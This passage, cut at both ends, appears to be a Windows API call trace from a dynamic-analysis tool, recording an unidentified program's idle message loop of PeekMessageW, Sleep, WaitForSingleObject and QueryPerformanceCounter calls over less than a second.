| out: lpMsg=0x2df914) returned 0 [0154.882] Sleep (dwMilliseconds=0x64) [0154.898] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.898] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792920972) returned 1 [0154.898] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792921128) returned 1 [0154.898] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.899] Sleep (dwMilliseconds=0x64) [0154.913] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.913] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=792974226) returned 1 [0154.914] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=792974380) returned 1 [0154.914] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.915] Sleep (dwMilliseconds=0x64) [0154.930] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.930] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793030133) returned 1 [0154.930] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793030286) returned 1 [0154.930] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.931] Sleep (dwMilliseconds=0x64) [0154.945] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.945] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793080954) returned 1 [0154.945] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793081108) returned 1 [0154.945] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.946] Sleep (dwMilliseconds=0x64) [0154.960] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.960] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793134125) returned 1 [0154.960] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793134279) returned 1 [0154.961] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.961] Sleep (dwMilliseconds=0x64) [0154.976] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.976] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793189295) returned 1 [0154.976] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793189450) returned 1 [0154.977] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.977] Sleep (dwMilliseconds=0x64) [0154.992] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0154.992] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793241187) returned 1 [0154.992] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793241340) returned 1 [0154.992] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0154.993] Sleep (dwMilliseconds=0x64) [0155.007] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.007] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793294722) returned 1 [0155.007] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793294874) returned 1 [0155.008] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.008] Sleep (dwMilliseconds=0x64) [0155.023] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.023] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793347590) returned 1 [0155.023] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793347777) returned 1 [0155.023] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.024] Sleep (dwMilliseconds=0x64) [0155.039] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.039] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793402859) returned 1 [0155.039] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793403023) returned 1 [0155.039] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.040] Sleep (dwMilliseconds=0x64) [0155.054] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.054] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793454501) returned 1 [0155.054] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793454665) returned 1 [0155.055] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.055] Sleep (dwMilliseconds=0x64) [0155.069] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.069] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793507384) returned 1 [0155.069] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793507537) returned 1 [0155.070] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.071] Sleep (dwMilliseconds=0x64) [0155.087] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.088] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793570507) returned 1 [0155.088] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793570689) returned 1 [0155.089] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.089] Sleep (dwMilliseconds=0x64) [0155.101] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.101] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793614172) returned 1 [0155.101] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793614355) returned 1 [0155.101] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.102] Sleep (dwMilliseconds=0x64) [0155.116] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.117] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793668343) returned 1 [0155.117] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793668523) returned 1 [0155.117] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.118] Sleep (dwMilliseconds=0x64) [0155.132] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.132] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793720893) returned 1 [0155.132] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793721074) returned 1 [0155.133] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.133] Sleep (dwMilliseconds=0x64) [0155.149] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.149] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793779774) returned 1 [0155.149] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793779954) returned 1 [0155.150] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.150] Sleep (dwMilliseconds=0x64) [0155.163] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.163] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793827445) returned 1 [0155.163] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793827626) returned 1 [0155.164] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.164] Sleep (dwMilliseconds=0x64) [0155.179] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.179] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793881086) returned 1 [0155.179] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793881267) returned 1 [0155.179] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.180] Sleep (dwMilliseconds=0x64) [0155.194] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.194] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793933999) returned 1 [0155.194] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793934168) returned 1 [0155.195] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.195] Sleep (dwMilliseconds=0x64) [0155.210] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.210] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=793987411) returned 1 [0155.210] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=793987579) returned 1 [0155.210] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.211] Sleep (dwMilliseconds=0x64) [0155.226] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.226] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794043747) returned 1 [0155.226] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794043905) returned 1 [0155.227] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.228] Sleep (dwMilliseconds=0x64) [0155.241] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.241] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794094873) returned 1 [0155.241] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794095017) returned 1 [0155.242] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.242] Sleep (dwMilliseconds=0x64) [0155.257] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.258] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794150210) returned 1 [0155.258] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794150354) returned 1 [0155.258] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.259] Sleep (dwMilliseconds=0x64) [0155.272] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.272] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794200544) returned 1 [0155.272] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794200689) returned 1 [0155.273] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.273] Sleep (dwMilliseconds=0x64) [0155.288] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.288] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794254118) returned 1 [0155.288] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794254262) returned 1 [0155.288] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.289] Sleep (dwMilliseconds=0x64) [0155.303] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.304] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794307476) returned 1 [0155.304] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794307660) returned 1 [0155.304] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.305] Sleep (dwMilliseconds=0x64) [0155.319] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.319] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794361382) returned 1 [0155.319] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794361565) returned 1 [0155.320] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.320] Sleep (dwMilliseconds=0x64) [0155.335] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.335] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794414278) returned 1 [0155.335] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794414458) returned 1 [0155.335] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.336] Sleep (dwMilliseconds=0x64) [0155.351] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.351] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794470035) returned 1 [0155.351] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794470203) returned 1 [0155.352] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.352] Sleep (dwMilliseconds=0x64) [0155.369] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.369] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794531148) returned 1 [0155.369] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794531307) returned 1 [0155.370] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.370] Sleep (dwMilliseconds=0x64) [0155.381] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.381] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794573859) returned 1 [0155.382] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794574010) returned 1 [0155.382] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.383] Sleep (dwMilliseconds=0x64) [0155.397] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.397] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794628494) returned 1 [0155.398] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794628648) returned 1 [0155.398] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.399] Sleep (dwMilliseconds=0x64) [0155.417] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.417] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794694897) returned 1 [0155.417] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794695065) returned 1 [0155.417] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.418] Sleep (dwMilliseconds=0x64) [0155.429] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.429] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794735105) returned 1 [0155.429] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794735274) returned 1 [0155.429] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.430] Sleep (dwMilliseconds=0x64) [0155.448] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.448] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794800454) returned 1 [0155.448] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794800622) returned 1 [0155.448] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.449] Sleep (dwMilliseconds=0x64) [0155.459] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.460] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=794840601) returned 1 [0155.460] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=794840784) returned 1 [0155.460] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.461] Sleep (dwMilliseconds=0x64) [0155.506] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.506] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795000453) returned 1 [0155.506] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795000597) returned 1 [0155.507] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.507] Sleep (dwMilliseconds=0x64) [0155.522] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.522] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795053725) returned 1 [0155.522] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795053871) returned 1 [0155.522] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.523] Sleep (dwMilliseconds=0x64) [0155.537] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.538] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795107281) returned 1 [0155.538] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795107427) returned 1 [0155.538] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.539] Sleep (dwMilliseconds=0x64) [0155.553] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.553] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795160591) returned 1 [0155.553] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795160735) returned 1 [0155.554] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.554] Sleep (dwMilliseconds=0x64) [0155.569] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.569] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795213577) returned 1 [0155.569] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795213728) returned 1 [0155.569] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.570] Sleep (dwMilliseconds=0x64) [0155.584] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.584] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795267063) returned 1 [0155.584] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795267208) returned 1 [0155.585] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.585] Sleep (dwMilliseconds=0x64) [0155.600] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.600] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795320496) returned 1 [0155.600] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795320641) returned 1 [0155.600] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.601] Sleep (dwMilliseconds=0x64) [0155.624] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.624] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795402761) returned 1 [0155.624] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795402942) returned 1 [0155.625] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.625] Sleep (dwMilliseconds=0x64) [0155.631] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.631] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795427010) returned 1 [0155.631] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795427191) returned 1 [0155.632] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.632] Sleep (dwMilliseconds=0x64) [0155.647] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.647] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795480242) returned 1 [0155.647] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795480412) returned 1 [0155.647] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.648] Sleep (dwMilliseconds=0x64) [0155.662] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.662] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795533802) returned 1 [0155.662] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795533959) returned 1 [0155.663] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.663] Sleep (dwMilliseconds=0x64) [0155.678] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.678] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795589056) returned 1 [0155.679] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795589209) returned 1 [0155.679] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0155.680] Sleep (dwMilliseconds=0x64) [0155.693] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0155.693] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=795640321) returned 1 [0155.694] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=795640475) returned 1 [0155.694] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 